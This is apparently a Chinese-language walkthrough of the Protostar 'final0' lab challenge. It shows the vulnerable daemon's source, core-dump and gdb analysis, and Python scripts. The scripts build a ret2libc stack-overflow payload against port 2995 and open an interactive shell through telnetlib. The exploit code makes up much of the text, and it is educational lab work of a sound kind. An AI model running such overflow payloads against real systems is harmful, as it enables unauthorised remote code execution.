Protostar final0 write-up
final0
#include "../common/common.c" #define NAME "final0" #define UID 0 #define GID 0 #define PORT 2995 /* * Read the username in from the network */ char *get_username() { char buffer[512]; char *q; int i; memset(buffer, 0, sizeof(buffer)); gets(buffer); /* Strip off trailing new line characters */ q = strchr(buffer, '\n'); if(q) *q = 0; q = strchr(buffer, '\r'); if(q) *q = 0; /* Convert to lower case */ for(i = 0; i < strlen(buffer); i++) { buffer[i] = toupper(buffer[i]); } /* Duplicate the string and return it */ return strdup(buffer); } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); username = get_username(); printf("No such user %s\n", username); }
测试,运行final0,输入用户名,会返回大写的用户名是否存在信息

根据源码,buffer长度为512,溢出测试,长度为532时,覆盖返回信息

根据提示,存在/tmp/目录下一个core dump文件,使用gdb载入core dump

可以看到程序执行到eip时,因为buffer overflow造成segmentation falult

另一种方法,查看运行程序pid,加载到gdb中调试

开启另一个终端,发送测试,在gdb中并没有看到即时发送的数据

gdb中设置follow-fork-mode child

此时发送的测试数据就可以实时调试

使用ret2libc的方法,首先查看所有@plt方法

找到execve函数和地址0x08048c0c

找到exec函数后,还得确定/bin/sh字符串位置

在/lib/libc*中查找/bin/sh偏移相同

查找libc的起始地址,查看final0进程的maps,找到基址0xb7e97000

所以/bin/sh的位置就是 libc基址+offset
根据以上所有分析,就可以构造exploit
测试发现,若发送的socket数据超过buffer 512长度,会提示connection reset

发生此现象是因为client和server针对socket的长度协商不一致,需要精心构造padding内容和长度
编写exploit代码 final0.py
from socket import * from struct import * host = '127.0.0.1' port = 2995 s = socket(AF_INET, SOCK_STREAM) s.connect((host,port)) pad = 'a'*510+'\x00'+'b'*21 execve = pack("I", 0x08048c0c) binsh = pack("I",0xb7e97000+1176511) exp = pad + execve + "AAAA" + binsh + "\x00"*8 s.send(exp+'\n') s.send("id\n") print s.recv(1024)
代码中的四个A是程序ret address,不用关心,随便填充即可
执行测试

修改代码,添加telnetlib获取系统telnet命令执行权限
from socket import * from struct import * import telnetlib host = '127.0.0.1' port = 2995 s = socket(AF_INET, SOCK_STREAM) s.connect((host,port)) pad = 'a'*510+'\x00'+'b'*21 execve = pack("I", 0x08048c0c) binsh = pack("I",0xb7e97000+1176511) exp = pad + execve + "AAAA" + binsh + "\x00"*8 s.send(exp+'\n') s.send("id\n") print s.recv(1024) t = telnetlib.Telnet() t.sock = s t.interact()
测试执行ok

测试在windows系统下,只需要修改host地址,也可以获取pwn成功

参考资料
https://www.freebuf.com/news/182894.html
http://www.pwntester.com/blog/2013/12/26/protostar-final0-3-write-ups/
https://old.liveoverflow.com/binary_hacking/protostar/final0.html